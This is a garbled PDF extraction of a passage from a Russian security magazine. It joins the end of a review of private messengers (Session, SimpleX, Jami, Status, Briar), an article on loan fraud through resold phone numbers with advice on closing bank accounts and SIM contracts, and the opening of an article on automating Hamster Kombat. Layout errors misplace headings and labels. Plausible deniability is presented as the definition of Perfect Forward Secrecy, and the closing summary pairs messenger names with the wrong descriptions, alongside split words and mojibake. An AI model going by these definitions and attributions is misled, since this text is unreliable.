ный вре мен ный ключ, который не зависит от дру гих клю чей. Таким обра зом,
даже если зло умыш ленник получит дос туп к дол госроч ным клю чам, он
не смо жет рас шифро вать прош лую или будущую зашиф рован ную информа- 
цию, так как каж дый сеанс исполь зует отдель ный ключ, который не сох раня- 
ется пос ле завер шения сеан са.

Perfect Forward Secrecy (PFS)

 — это фун кция в сис темах шиф- 
рования и защиты дан ных, которая поз воля ет поль зовате лю отри цать факт
сущес тво вания опре делен ных дан ных даже под при нуж дени ем. Идея зак- 
люча ется в том, что поль зователь может хра нить сек ретную информа цию
в зашиф рован ном виде и пре дос тавить дос туп толь ко к опре делен ным дан- 
ным, которые выг лядят безобид но, в то вре мя как более чувс тви тель ная
информа ция оста ется скры той и защищен ной. Нап ример, в некото рых сис- 
темах шиф рования мож но нас тро ить нес коль ко паролей: один для дос тупа
к обыч ным дан ным, а дру гой — для дос тупа к более важ ным дан ным. Если
поль зователь под верга ется дав лению, он может пре дос тавить пароль
к безобид ным дан ным, делая вид, что это все, что у него есть, а истинно важ- 
ная информа ция оста ется скры той.

Ðå æèì ïðàâ äîïîäîá íîãî îòðè öàíèÿ

И еще из стран ных решений: что бы под нять свой сер висный узел, нуж но
заморо зить на сво ем сче ту валюту OXEN при мер но на 15 тысяч дол ларов
США. Объ ясня ется это как защита от зас памли вания неб лагона деж ными
нодами.

Ïëþ ñû:
пол ная ано ним ность бла года ря сети Oxen;•
для регис тра ции не тре буют ся никакие дан ные поль зовате ля;•
воз можность вос ста нов ления учет ной записи при помощи сек ретной фра- 
зы;

•

ис поль зует ся минималь но необ ходимое количес тво переда ваемых
метадан ных;

•

от кры тый исходный код;•
де цен тра лизо ван ная струк тура сети;•
шиф рование по умол чанию (исполь зуют ся стой кие крип тоал горит мы);•
про веден аудит кода.•

Ìè íóñû:
ред кие обновле ния;•
ано ним ность обес печива ется толь ко для сооб щений;•
мед ленная дос тавка сооб щений;•
на личие мел ких багов;•
не исполь зует ся PFS;•
дру гие спор ные решения в архи тек туре безопас ности.•

SIMPLEX

На вер ное, самый инте рес ный мес сен джер в этой под борке, он же и самый
загадоч ный. SimpleX удов летво ряет всем сов ремен ным тре бова ниям: есть
аудио- и виде озвонки, переда ча фай лов, исче зающие сооб щения, груп пы
поль зовате лей и про чее. Регис тра ция ано ним на и не тре бует вво дить номер
телефо на или какие-либо дру гие дан ные. Струк тура сети федера тив ная,
с воз можностью под клю чения собс твен ных сер веров-рет ран сля торов. При- 
ятно удив ляет оби лие нас тро ек: мож но под клю чать свои ноды, сер веры
WebRTC ICE и XFTP для переда чи фай лов.

Нас трой ки SimpleX

Для защиты дан ных исполь зует ся про токол SMP (SimpleX Messaging Protocol),
который завора чива ется в TLS для свя зи с рет ран сли рующи ми сер ваками.
Раз работ чики регуляр но выпус кают обновле ния и чинят баги, поэто му при- 
ложе ние работа ет ста биль но. Разуме ется, весь исходный код открыт.

SimpleX исполь зует силь ную крип тогра фию, в том чис ле пост кван товые
алго рит мы. В общем, по про думан ности архи тек туры и дос тупным нас трой- 
кам кли ента SimpleX выгод но отли чает ся в луч шую сто рону от боль шинс тва
мес сен дже ров. Воз можность раз верты вать собс твен ные сер веры —
еще один важ ный плюс.

Тем не менее лич но я пока отно шусь к SimpleX нас торожен но. Про ект
никак не зараба тыва ет день ги, но уро вень под дер жки у него не хуже, чем
у ком мерчес ких. Подоз ритель но! К тому же SimpleX зарегис три рован 

, а пра витель ство этой стра ны то и дело  на пра во
граж дан надеж но . Аудит исходни ков был про веден,
но , то есть Минобо роны США. Впро чем, исходный код
открыт, и шиф рование бла город ные лор ды пока не зап ретили, так что, воз- 
можно, бес поко ить ся рано.

в
Великоб ритании по куша ется

шиф ровать перепис ку
по заказу DARPA

Сто ит отме тить и то, что раз работ чики выб рали для про екта необыч ный
язык прог рамми рова ния — Haskell. Любите ли фун кци ональ щины оце нят,
но такой выбор авто мати чес ки сужа ет чис ло людей, спо соб ных разоб рать ся
в исходни ках.

Ïëþ ñû:

для регис тра ции не тре буют ся никакие дан ные поль зовате ля;•
от кры тый исходный код;•
час тые обновле ния;•
шиф рование по умол чанию (исполь зуют ся стой кие крип тоал горит мы);•
воз можность деталь ной нас трой ки сети;•
воз можность защиты IP-адре са при помощи рет ран сля ции через SMP-
сер веры (как пре дус танов ленные, так и вве ден ные вруч ную);

•

про веден аудит кода;•
ми нималь ная переда ча метадан ных, нес мотря на федера тив ную архи тек- 
туру сети.

•

Ìè íóñû:

лишь час тично децен тра лизо ван ная (федера тив ная) архи тек тура сети;•
пот ребля ет мно го тра фика для слу жеб ных нужд;•
ре гис тра ция в Великоб ритании;•
от сутс тву ют груп повые звон ки.•

Продолжение статьи →

mailto:xtahi0nix@gmail.com
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https://www.securitylab.ru/news/532462.php


БРАТЬЯ SIGNAL
ВЫБИРАЕМ ИЗ ПЯТИ НАИБОЛЕЕ

ПРИВАТНЫХ И ЗАЩИЩЕННЫХ
МЕССЕНДЖЕРОВ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

JAMI

Это пол ностью децен тра лизо ван ный мес сен джер, не тре бующий для регис- 
тра ции каких-либо дан ных от поль зовате ля. Сооб щения шиф руют ся
при помощи RSA и завора чива ются в TLS — имен но в таком виде про исхо дит
цир куляция сооб щений меж ду нодами. Еще из плю сов мес сен дже ра — мож- 
но кас томизи ровать bootstrap-сер веры, добав лять и исполь зовать ноды
в DHT-сети Jami, менять сер веры STUN и TURN.

Нас трой ки Jami

Есть даже воз можность под клю чать пла гины, и дос тупен SDK для их написа- 
ния. Нап ример, через пла гин мож но менять фон при виде озвонке.

Нас трой ки Jami

Ин терес ная осо бен ность — при регис тра ции тебе пред лага ется соз дать
псев доним, который потом хра нит ся на NameServer (NS) сети Jami. Если ты
потеря ешь свой про филь (нап ример, забудешь пароль), то вос ста новить его
не получит ся и вос поль зовать ся сво им ста рым име нем тоже, потому что ней- 
мсер вер уже зна ет тебя. Зато таким обра зом обес печива ется защита от под- 
делки лич ности. Понят но, что ней мсер вер не хра нит ничего, кро ме име ни,
но даже это — хоть и неболь шая, но утеч ка метадан ных.

Еще одно инте рес ное наб людение: ког да про исхо дит миг рация акка унта
на дру гое устрой ство, он ненадол го целиком заг ружа ется в сеть Jami, прав да,
под паролем, который сге нери рует прог рамма. Воп рос: нас коль ко качес- 
твен ный это пароль и дей стви тель но ли его невоз можно пред ска зать?
Однознач ного отве та у меня нет, так что это тема для отдель ного иссле дова- 
ния.

Ïëþ ñû:

для регис тра ции не нуж ны никакие дан ные поль зовате ля;•
от кры тый исходный код;•
де цен тра лизо ван ная струк тура сети;•
час тые обновле ния;•
шиф рование по умол чанию (исполь зуют ся стой кие крип тоал горит мы).•

Ìè íóñû:

спор ный под ход к защите метадан ных;•
не был про веден аудит кода.•

STATUS

Еще один инте рес ный мес сен джер, в котором заод но есть крип токоше лек
и Web3-бра узер. Как и все мес сен дже ры в этом обзо ре, не тре бует номера
телефо на для регис тра ции, а для переда чи сооб щений исполь зует стой кую
крип тогра фию и име ет откры тый исходный код. Как и Session, исполь зует
блок чейн для работы. У Status есть свой крип товалют ный токен — ERC20 SNT.
Токены мож но покупать, а мож но получить, нап ример за под нятие сво ей ноды
сети.

Нас трой ки Status

Рань ше во вре мя заг рузки мес сен дже ра исполь зовались bootstrap-сер веры,
которые поз воляли получить слу жеб ную информа цию, но пос ле того, как сеть
раз рослась, такие сер веры не исполь зуют ся по умол чанию. Одна ко, если
что-то пой дет не так, ты можешь вклю чить их в нас трой ках.

При ложе ние в авто мати чес ком режиме под клю чает ся к бли жай шим
нодам, но ты можешь выб рать ноду и вруч ную. А при желании — соз дать свою
и под клю чать ся толь ко к ней (что, на мой взгляд, неп лохая воз можность). Да и
в целом количес тво нас тро ек впе чат ляет.

Юри дичес кое лицо зарегис три рова но в Швей царии, где дей ству ют стро- 
гие законы о кон фиден циаль нос ти.

При тес тирова нии Status я стол кнул ся с мел кими багами. Нап ример,
при пер вом запус ке при ложе ния нуж но сог ласить ся с полити кой кон фиден- 
циаль нос ти и усло виями исполь зования, но, ког да нажима ешь на гипер ссыл- 
ку, она отправ ляет на глав ную стра ницу сай та.

По лити ка кон фиден циаль нос ти и усло вия исполь зования Status

Кста ти, нуж ные докумен ты я нашел, прос крол лив стра ницу до самого кон ца,
но отно сились они к самому сай ту, а не к мес сен дже ру.

Ïëþ ñû:

для регис тра ции не тре буют ся никакие дан ные поль зовате ля;•
воз можность вос ста нов ления учет ной записи при помощи сек ретной фра- 
зы;

•

от кры тый исходный код;•
де цен тра лизо ван ная струк тура сети;•
шиф рование по умол чанию (исполь зуют ся стой кие крип тоал горит мы);•
встро енный крип токоше лек и бра узер;•
ба зиру ется в Швей царии;•
про веден аудит кода.•

Ìè íóñû:

за мет ные баги;•
мес сен джер пока мало исполь зует ся и недос таточ но про тес тирован.•

BRIAR

Мес сен джер Briar работа ет внут ри сети Tor, к тому же может работать
без интерне та — по прин ципу ad hoc поверх Bluetooth или Wi-Fi (во вто ром
слу чае для обще ния нуж но быть в одной сети). Для регис тра ции не тре бует ся
номер телефо на.

Во обще, воз можность работать сов сем без интерне та — это сво его рода
кил лер-фича. Понят но, что ради ус будет невелик, но все же, если слу чит ся
тех ноген ный апо калип сис, это может при годить ся!

Ма ло того, на Android этот мес сен джер уме ет и рас простра нять ся
без интерне та. Для это го нуж но выб рать в нас трой ках «Поделить ся этим при- 
ложе нием офлайн», пос ле это го будет соз дана точ ка дос тупа Wi-Fi, к которой
мож но под клю чить ся. Адрес и порт Briar сооб щит сам. Под клю чаешь ся,
и можешь пос тавить при ложе ние на новое устрой ство.

Briar уста нав лива ется офлайн

Что до при ват ности, то тут все тол ково: мес сен джер по миниму му исполь зует
метадан ные поль зовате ля, так что мож но осо бен но не пережи вать, что они
куда-то уте кут.

Из минусов — нет син хро низа ции меж ду устрой ства ми. Если вой ти в свой
акка унт с нового телефо на, дос туп к прош лым перепис кам получить ты
не смо жешь. Ну а если потеря ешь пароль от сво его акка унта, потеря ешь
и сам акка унт.

Нет и дру гих при выч ных фун кций: аудио- и виде озвонков и даже пол ноцен- 
ной переда чи фай лов! Прик реплять к сооб щени ям мож но толь ко кар тинки.
Надо приз нать, что в сов ремен ном мире эти недос татки могут ока зать ся
реша ющи ми. Но зато есть встро енная сис тема бло гов: делить ся с миром
цен ными мыс лями тут может любой поль зователь.

Для меня боль шим недос татком ста ли скуд ные нас трой ки. Нап ример, зап- 
рещено делать скрин шоты при ложе ния, и этот зап рет никак нель зя снять.
Нель зя даже вруч ную вво дить адре са мос тов Tor, толь ко вклю чить или вык- 
лючить воз можность их исполь зования. О сов ремен ных мос тах WebTunnel,
похоже, речи тоже не идет. То есть раз работ чик все уже решил за тебя
и никако го выбора не дает.

Ïëþ ñû:

для регис тра ции не тре буют ся никакие дан ные поль зовате ля;•
ано ним ность за счет сети Tor;•
от кры тый исходный код;•
де цен тра лизо ван ная струк тура сети;•
шиф рование по умол чанию (исполь зуют ся стой кие крип тоал горит мы);•
про веден аудит кода.•

Ìè íóñû:

ма ло воз можнос тей по срав нению с дру гими мес сен дже рами;•
нет син хро низа ции меж ду устрой ства ми;•
сла бая кас томиза ция.•

ÂÛÂÎÄÛ

Под ведем некото рые ито ги:
 — креп кий серед нячок, безопас ный и децен тра лизо ван ный;• Jami

 — подой дет, если нуж на ано ним ность вмес те с кон фиден циаль- 

ностью сооб щений (с некото рыми ука зан ными ого вор ками);

• Session

 — ком байн, вклю чающий в себя, помимо мес сен дже ра,
еще кошелек крип товалю ты и бра узер;

• Status

 — ста биль ный мес сен джер с гиб кой кас томиза цией и регуляр- 

ными обновле ниями;

• SimpleX

 — мес сен джер для пос тапока лип сиса, прос той как молоток и уме- 

ющий работать вооб ще без интерне та.

• Briar

Как видишь, нет мес сен дже ра, в котором иде аль но всё. У каж дого из них свои
силь ные и сла бые сто роны. Наде юсь, статья поможет тебе взве сить их
при выборе.
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ПРИВАТНОСТЬ

Бук валь но месяц назад быв шие кли енты одно го из круп ных
рос сий ских бан ков начали получать пись ма, из которых
с удив лени ем узна вали о наличии кре дита. Ока залось, что
кре диты офор мля ли мошен ники, мас сово ску пав шие
у мобиль ных опе рато ров ранее исполь зовав шиеся телефон- 
ные номера. При этом банк раз водит руками: всё в рам ках
кли ент ско го догово ра, прой дите в кас су, товарищ. Сегод ня
мы погово рим о том, как обе зопа сить себя, сбе речь нер вы
и день ги и не ока зать ся в столь неп рият ной ситу ации.

Опи сан ный выше слу чай — далеко не единс твен ный, пос тра дав ших, судя
по темати чес ким груп пам в «Телег раме», накопи лось уже немало. Успех
реали зации этой нехит рой мошен ничес кой схе мы опи рал ся на два обсто- 
ятель ства: воз можность выб рать на сай те сотово го опе рато ра любой
телефон ный номер из чис ла быв ших в упот ребле нии и на сво еоб разную
полити ку безопас ности бан ка при вос ста нов лении дос тупа в лич ный кабинет.
А теперь — по поряд ку.

От редакции
Эта статья — не о хакерс тве и даже не о компь юте рах, а о смеж ной теме —
мошен ничес тве и про тивос тоянии ему. Пуб лику ем мы ее в поряд ке экспе- 
римен та: хотим, что бы наш читатель был под кован не толь ко в кибер безопас- 
ности, но и в более при зем ленных воп росах. Дай знать в ком мента риях, если
счи таешь, что такие матери алы полез ны! Если экспе римент ока жет ся
успешным, мы подума ем, о чем еще сто ит написать в рам ках темы «не дай
себя обма нуть».

ÊÀÊ ÁÀÍÊ ÊÐÅÄÈÒÛ ÐÀÇÄÀÂÀË

В одном три девя том царс тве, в три деся том государс тве пер сональ ные дан- 
ные граж дан уже дав ным-дав но перес тали быть пер сональ ными, а понятие
«защита информа ции» так и вов се быль ем порос ло. О том, что базы поль- 
зовате лей нес коль ких популяр ных в Рунете сер висов уже дав но и без надеж но
сли ты в паб лик, зна ет каж дый. Вот по этим самым базам зло деи и сде лали
выбор ку телефон ных номеров, вла дель цы которых опла чива ли услу ги кар тами
одно го из круп ней ших рос сий ских бан ков. В точ ности так же пос тупа ют
жулики, которые обзва нива ют людей от име ни кре дит ных орга низа ций, — они
зна ют анкетные дан ные потен циаль ной жер твы, а так же то, в каком бан ке
у нее открыт счет.

Но в нашем слу чае мошен ники никому зво нить не ста ли: вмес то это го они
отпра вились на сайт мобиль ного опе рато ра и при нялись выкупать осво- 
бодив шиеся телефон ные номера из сво его спис ка. Офор мля ли они их,
понят ное дело, на дро пов. Логика здесь прос тая: если человек перес тал
поль зовать ся номером, на который рань ше заказы вал дос тавку или офор- 
млял опла чен ные дебето вой кар той покуп ки, впол не веро ятно, что он не отвя- 
зал этот номер от сво ей учет ной записи в лич ном кабине те бан ка. А зна чит,
мож но попытать ся получить к этой учет ке дос туп.

Боль шинс тво финан совых орга низа ций при замене сим-кар ты, попыт ке
логина из необыч ной геог рафичес кой локации или пос ле дол гого пери ода
без дей ствия бло киру ют дос туп поль зовате ля в лич ный кабинет, тре буя явить- 
ся в бли жай ший офис с пас портом для под твержде ния лич ности или сооб- 
щить тех поддер жке кодовое сло во, а затем отве тить на ряд кон троль ных воп- 
росов. С одной сто роны, это соз дает опре делен ные неудобс тва для кли- 
ентов, с дру гой — добав ляет сто очков к безопас ности. Но не в этом слу чае.

Здесь ока залось дос таточ но поз вонить с при вязан ной к учет ке сим ки
на корот кий номер бан ка и ска зать роботу сло во «Логин», что бы узнать соот- 
ветс тву ющее это му номеру имя поль зовате ля в бан ков ской сис теме. Пос ле
это го оста лось лишь открыть в бра узе ре стра ницу онлайн-бан ка, ука зать
толь ко что выяс ненный логин, нажать на кноп ку «Вос ста новить пароль», ввес- 
ти код из SMS — и вуаля, дос туп открыт.

Ка залось бы, что это даст зло умыш ленни ку, если поль зователь уже дав- 
ным-дав но заб локиро вал свою дебето вую кар ту и не дер жит на сче тах
ни копей ки? Ничего, если бы банк не пред лагал всем кли ентам (даже тем, кто
не заходил в лич ный кабинет и не поль зовал ся услу гами этой финан совой
орга низа ции мно го лет) офор мить кре дит пря мо на мес те с воз можностью
сра зу же вывес ти все день ги на кар ты в дру гих бан ках.

Сум мы, на которые попали пос тра дав шие от этой схе мы, раз нятся:
кому-то повез ло, и он вле тел все го лишь на трид цать тысяч руб лей, а на
кого-то повеси ли солид ный долг в нес коль ко мил лионов. При этом банк
оправды вает ся тем, что в догово рах чет ко ука зано: кли ент обя зан сооб щать
обо всех изме нени ях сво их рек визитов и учет ных дан ных, в том чис ле и о сме- 
не номера телефо на. Если он это го не сде лал, то сам и виноват: ответс твен- 
ность за то, что в лич ном кабине те теперь хозяй нича ют зло умыш ленни ки,
лежит исклю читель но на нем. Прос то перес тать поль зовать ся кар точкой
недос таточ но — договор меж ду физичес ким лицом и бан ком про лон гиру ется
авто мати чес ки, а зна чит, про дол жает дей ство вать, даже если кли ент уже
успел забыть, что ког да-то дер жал в этом бан ке счет и поль зовал ся его услу- 
гами.

Ви нова ты пос тра дав шие или нет, теперь решит суд. А мы пока попыта емся
разоб рать ся, как не ока зать ся в роли потер певше го и какие шаги нуж но пред- 
при нять заранее, что бы не очу тить ся в цен тре подоб ной кри миналь ной исто- 
рии.

Ñ×ÅÒ, ÏÎÆÀËÓÉÑÒÀ!

Для начала было бы неп лохо выяс нить, где вооб ще откры ты твои сче та
и какие бан ки счи тают тебя сво им кли ентом, даже если эта любовь не вза- 
имна. Если ты поль зуешь ся пор талом «Госус луги» и зарегис три рован на сай- 
те Федераль ной налого вой служ бы, сде лать это про ще прос того: логинишь ся
в  (с помощью отдель ной учет ки или через Еди- 
ную сис тему иден тифика ции и аутен тифика ции (ЕСИА), то есть через «Госус- 
луги»), находишь в ниж ней час ти стра ницы заголо вок «Сче та» и жмешь
«Перей ти в раз дел». Вот они, все твои бан ков ские сче та еди ным спис ком,
как зак рытые, так и дей ству ющие.

лич ный кабинет на сай те ФНС

При чем, если счет зак рыт, это еще не озна чает, что твои вза имоот- 
ношения с бан ком окон чены: договор бан ков ско го обслу жива ния про дол жает
дей ство вать до тех пор, пока ты его не разор вешь и не отзо вешь у бан ка раз- 
решение на обра бот ку тво их пер сональ ных дан ных. Спи сок этот, к сло ву,
мож но выг рузить в виде PDF-фай ла и изу чить на досуге: соот ветс тву ющая
кноп ка рас положе на в самом низу стра ницы.

То варищ май ор из налого вой видит все твои сче та. Даже зак рытые!

Ес ли акка унта в налого вой у тебя нет, его мож но зарегис три ровать в бли жай- 
шем МФЦ, явив шись туда с пас портом. Дру гой вари ант получить нуж ную
информа цию — обзво нить все бан ки в тво ем городе лич но с воп росом,
не явля ешь ся ли ты слу чай но их кли ентом, но это дол го, мутор но и неп родук- 
тивно.

ÐÀÑÒÎÐÃÀÅÌ ÄÎÃÎÂÎÐ

Рас тор гнуть договор о ком плексном бан ков ском обслу жива нии может быть
сов сем не прос то. И не толь ко потому, что в бан ке не захотят терять кли ента,
а еще и потому, что даже бан ков ские кон суль тан ты далеко не сра зу понима- 
ют, чего ты от них хочешь. Потому что людей, которые собира ются импе- 
ратив но рас торгать ДБО, исче зающе мало.

Обыч но человек прос то забива ет на исполь зование кар ты (а мно гие и не
пом нят, в каких бан ках у них сче та) и не идет ее зак рывать, если она боль ше
не нуж на. И даже если тебя не взло мают, что бы взять кре дит, ты все рав но
смо жешь попаcть на день ги — нап ример, ког да бес плат ное обслу жива ние
кар ты, про которую ты уже забыл, вне зап но ста нет плат ным при помощи
какой-либо хит рой юри дичес кой магии. Как ни кру ти, если ты не поль зуешь ся
услу гами бан ка, безопас нее все го пол ностью пор вать с ним вся кие свя зи:
зак рыть кар ты, сче та, вкла ды и рас тор гнуть зак лючен ные догово ры.

Нуж но понимать, что, зак рывая бан ков скую кар ту, ты не зак рыва ешь свой
счет. Более того, как ты, навер ное, зна ешь, к одно му сче ту может быть при-
вяза но нес коль ко бан ков ских карт.

Но даже пос ле зак рытия их всех твой счет может по-преж нему оста вать ся
откры тым. Что бы зак рыть все свои сче та (перепи ши или сфо тог рафируй све- 
дения об откры тых сче тах в лич ном кабине те налогоп латель щика), нуж но
написать спе циаль ное заяв ление в бан ке. В заяв лении обя затель но сле дует
ука зать номера сче тов, которые зак рыва ются. Кро ме того, по закону банк
может зак рывать сче та в течение 45 дней.

Хит рость в том, что бан ков ский работ ник может пред ложить тебе сна чала
зак рыть сче та, а потом (через 45 дней) прий ти еще раз и написать заяв ление
на рас торже ние догово ра о бан ков ском обслу жива нии. Ты можешь пос тупить
и так, но обыч но в одном и том же заяв лении мож но и зак рыть сче та, и рас- 
тор гнуть договор.

Кро ме все го про чего, необ ходимо отоз вать сог ласие на исполь зование
сво их пер сональ ных дан ных. Да, нес мотря на отзыв, бан ки могут хра нить дан- 
ные о тебе еще нес коль ко лет, но исполь зовать их не будут. Для отзы ва сог- 
ласия тоже зап роси у бан ков ско го сот рудни ка соот ветс тву ющий бланк.

Луч ше все го заранее рас печатать две копии заяв ления: одно ты отда ешь
в банк, на дру гом сот рудник бан ка дол жен пос тавить отметку о том, что
документ при нят в работу, — с датой, под писью и фамили ей сот рудни ка
(иног да докумен ту сра зу прис ваивает ся вхо дящий номер). Без это го ты
не смо жешь доказать, что обра щал ся в банк с каким-либо тре бова нием, —
невыгод ные для бан ка докумен ты име ют тен денцию «терять ся».

Ес ли ты забыл рас печатать вто рой экзем пляр заяв ления, поп роси сот- 
рудни ка снять с него копию (копию бери толь ко с докумен та, на котором сто- 
ит под пись сот рудни ка и печать бан ка) или как минимум пос тарай ся сфо тог- 
рафиро вать все докумен ты, которые ты переда ешь в банк.

Как оформить заявление
В каж дом бан ке обыч но при няты свои образцы заяв лений на рас торже ние
догово ров. Иног да образцы мож но най ти на сай те бан ка или в поис ковиках
по зап росу «Заяв ление на рас торже ние догово ра ком плексно го бан ков ско го
обслу жива ния + <наз вание бан ка>», но некото рые орга низа ции пре дос- 
тавля ют бланк заяв ления толь ко в офи се при лич ном при сутс твии кли ента.

Во обще, закон (статья 859 ГК РФ) не зап реща ет сос тавлять подоб ные
докумен ты и в про изволь ной фор ме. В заяв лении сле дует ука зать пол ное
наз вание орга низа ции, которой оно адре сова но (пос мотри на сай те бан ка),
имя, кон так тный телефон и пас пор тные дан ные заяви теля, дату сос тавле ния
докумен та. Сам текст может быть, нап ример, таким:

ß, [Ô.È.Î.], ïðî øó ðàñ òîð ãíóòü Äîãîâîð áàí êîâ ñêî ãî îáñëó- 
æèâà íèÿ ìåæ äó ìíîé è <íàç âàíèå áàí êà>, à òàê æå ïðî øó çàê- 
ðûòü âñå ìîè ñ÷å òà <íîìåðà ñ÷å òîâ>, çàá ëîêèðî âàòü è îòîç âàòü
ìîþ áàí êîâ ñêóþ êàð òó <íîìåð êàð òû>, à òàê æå âñå äîïîë- 
íèòåëü íûå áàí êîâ ñêèå êàð òû. Íàñ òîÿùèì çàÿâ ëåíè åì ÿ îòçû âàþ
ó <íàç âàíèå áàí êà> ñîã ëàñèå íà îáðà áîò êó ìîèõ ïåð ñîíàëü íûõ
äàí íûõ. Äàòà, ïîä ïèñü.

За явле ние мож но отпра вить на офи циаль ный адрес бан ка по поч те с уве дом- 
лени ем о вру чении. Банк впра ве отка зать ся зак рыть счет кли ента на закон ных
осно вани ях, если на этом сче те при сутс тву ет невос тре бован ная денеж ная
сум ма (и кли ент не ука зал, как ей сле дует рас порядить ся) либо у кли ента име- 
ется задол женность перед кре дит ной орга низа цией, в том чис ле тех ничес кий
овер драфт.

WARNING

Вни матель но читай всё, что ты под писыва ешь.
Даже если за тобой ско пилась боль шая оче редь
недоволь ных кли ентов, а в догово ре при сутс тву ет
мел кий шрифт и очень мно го лис тов. Обра щай
вни мание на мес та в догово ре и при ложе ниях,
где мож но ста вить (или не ста вить) галоч ки, — эти
пун кты зачас тую ока зыва ются очень инте рес- 
ными!

Ес ли читать докумен ты по диаго нали, тебя могут ожи дать неп рият ные сюр- 
при зы — нап ример, обе щан ные бан ком про цен ты на оста ток или кеш бэк
будут начис лять ся толь ко при усло вии под писки на какой-нибудь бес полез- 
ный киносер вис, а обслу жива ние кар ты и SMS-информи рова ние оста нут ся
бес плат ными, толь ко если ты получа ешь на эту кар ту зар пла ту или еже месяч- 
но тра тишь не мень ше опре делен ной сум мы.

ÌÎÑÒÛ ÑÎÆÆÅÍÛ?

Как про верить, что ты пор вал все свя зи с бан ком? Есть нес коль ко спо собов:
поп робуй зай ти в свой лич ный кабинет на сай те бан ка или в при ложе нии,
вос ста новить пароль: если ты не явля ешь ся кли ентом бан ка, ты не смо- 
жешь это го сде лать никаким спо собом;

•

поп робуй отпра вить себе перевод через СБП из дру гого бан ка. Обыч но
при вво де телефо на адре сата авто мати чес ки отоб ража ются бан ки,
в которые мож но совер шить перевод. Разуме ется, тот банк, с которым ты
рвешь все отно шения, не дол жен там отоб ражать ся;

•

поз вони на горячую линию бан ка с той сим-кар ты, которая рань ше была
ука зана в догово ре с бан ком: обыч но банк «узна ёт» тебя по номеру
телефо на и при ветс тву ет тебя по име ни;

•

про веряй лич ный кабинет налогоп латель щика: все сче та, которые ты там
видел откры тыми, дол жны быть зак рыты.

•

Ес ли ты все сде лал пра виль но, никаких свя зей со ста рым бан ком не дол жно
сох ранить ся и зло умыш ленни кам будет нам ного слож нее кинуть тебя
на день ги.

ÄÎÃÎÂÎÐ Ñ ÎÏÅÐÀÒÎÐÎÌ ÑÂßÇÈ

Ес ли ты дол го не поль зуешь ся сим-кар той, мобиль ные опе рато ры могут дей- 
ство вать по-раз ному, но общий алго ритм обыч но такой: сна чала ком пания
спи сыва ет со сче та оставши еся там копей ки (при их наличии), затем номер
бло киру ется и через какое-то вре мя осво бож дает ся, пос ле чего его может
при обрести любой человек.

И вот тог да с этим номером могут воз никнуть проб лемы: нап ример, его
новый вла делец опла тит что-то про тиво закон ное, переве дет день ги
какой-нибудь зап рещен ной орга низа ции (которых с каж дым днем ста новит ся
все боль ше) или бил линг зафик сиру ет телефон вбли зи резонан сно го мес та
про исшес твия, что вызовет инте рес у пра воох ранитель ных орга нов. Либо,
как в исто рии, рас ска зан ной в начале этой статьи, кто-то вло мит ся в твой
акка унт и сде лает что-нибудь нехоро шее.

Ко неч но, мож но зап росить у мобиль ного опе рато ра справ ку о том, что
с опре делен ного момен та этот телефон ный номер тебе боль ше не при над- 
лежит. Но со всех точек зре ния нам ного безопас нее разор вать договор,
не дожида ясь неп рият ностей. Про цеду ра та же, что и с бан ками: при ходишь
в бли жай ший офис опе рато ра с пас портом, пишешь заяв ление, себе забира- 
ешь копию или фотог рафиру ешь документ с отметкой о том, что сот рудник
ком пании при нял бумагу в работу.

Да, и не забывай вов ремя отвя зывать «бро шен ные» телефон ные номера
от акка унтов в соц сетях, интернет-магази нах и про чих сер висах, даже если ты
ими дав но не поль зуешь ся. Кто зна ет, в какой момент оче ред ной элек трон- 
ный дис каун тер устро ит рас про дажу мак буков в кре дит для ста рых, дав но
зарегис три рован ных на сай те кли ентов?

ÂÛÂÎÄÛ

Как говорит ся, спа сение уто пающих — дело рук самих уто пающих. Если
кто-то вос поль зовал ся тво им быв шим телефон ным номером в не сов сем
закон ных целях, мож но, конеч но, рас счи тывать на помощь ком петен тных
орга нов, но луч ше заранее под сте лить солом ки и обе зопа сить себя от ненуж- 
ных сюр при зов. Бла го при меров, наг лядно показы вающих, чем чре вата бес- 
печность, дос таточ но. В общем, паранойя иног да быва ет полез ной, по край- 
ней мере в наше не слиш ком спо кой ное вре мя.
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ТРЮКИ

В этой статье я рас ска жу о том, как я изу чал
воз можность авто мати зации стре митель но
набира ющей популяр ность игры Hamster
Kombat. Не все испро бован ные так тики
ока зались удач ными, но, воз можно, ты най- 
дешь мои методы полез ными в иных ситу- 
ациях.

Рас ска зывать под робно о самой игре не буду, о ней слы шали, навер ное,
даже те, у кого нет мобиль ного телефо на. Нач нем сра зу с инте рес ного.

WARNING

Ре дак ция не рекомен дует рас смат ривать Hamster
Kombat как потен циаль ный источник заработ ка:
почему — есть под робная .
Мы будем под разуме вать, что име ем дело
с обыч ной игрой, и исполь зуем ее как популяр- 
ный при мер, на котором мож но про демонс три- 
ровать тех ники авто мати зации.

статья на «Хаб рахаб ре»

ÇÀÄÀ×À

Иг ра запус кает ся через бота в Telegram, смысл зак люча ется в наращи вании
пас сивно го дохода с бир жи. Уве личи вать доход мож но с помощью покуп ки
кар точек, каж дая кар точка дает опре делен ную при бав ку к доходу. День ги
для покуп ки кар точек добыва ются дву мя путями: из того самого пас сивно го
дохода и нажима нием боль шой кноп ки в цен тре экра на.

В про цес се игры у меня быс тро появи лось желание авто мати зиро вать две
вещи: нажатие на кноп ку и выбор опти маль ных кар точек для покуп ки. У каж- 
дой кар точки две основные харак терис тики: раз мер при бав ки к доходу
и цена. Одни кар точки дают неболь шую при бав ку и дорого сто ят, дру гие,
наобо рот, очень выгод ны. Для прос тоты ана лиза я ввел понятие удель ного
дохода, ну или его еще мож но наз вать «цена при бав ки». Допус тим, если кар- 
точка сто ит мил лион монет и дает при бав ку к доходу 4000 монет, зна чит, цена
при бав ки будет 1 000 000 / 4000 = 250 монет. Чем мень ше цена при бав ки,
тем целесо образнее покуп ка монеты.

Ха рак терис тики кар точки меня ются пос ле каж дой покуп ки, поэто му на глаз
все про ана лизи ровать и выб рать наибо лее выгод ную кар точку по цене при- 
бав ки прак тичес ки нере аль но. Для начала я сос тавил таб личку, добавил в нее
все кар точки и отсорти ровал их по удель ной доход ности (цена/добав ка).
Все бы хорошо, но это не отме няет необ ходимос ти пос ле каж дой покуп ки
вруч ную обновлять изме нив шиеся харак терис тики кар точки. Что ж, поп робу- 
ем авто мати зиро вать.

С ходу в голову при шел оче вид ный спо соб вза имо дей ствия с игрой —
ана лиз изоб ражения на экра не и эму ляция нажатий на экран с исполь зовани- 
ем Android Debug Bridge (ADB). Конеч но, в иде але бы все сде лать на зап- 
росах, вооб ще без телефо на, но для это го надо ана лизи ровать тра фик, а с
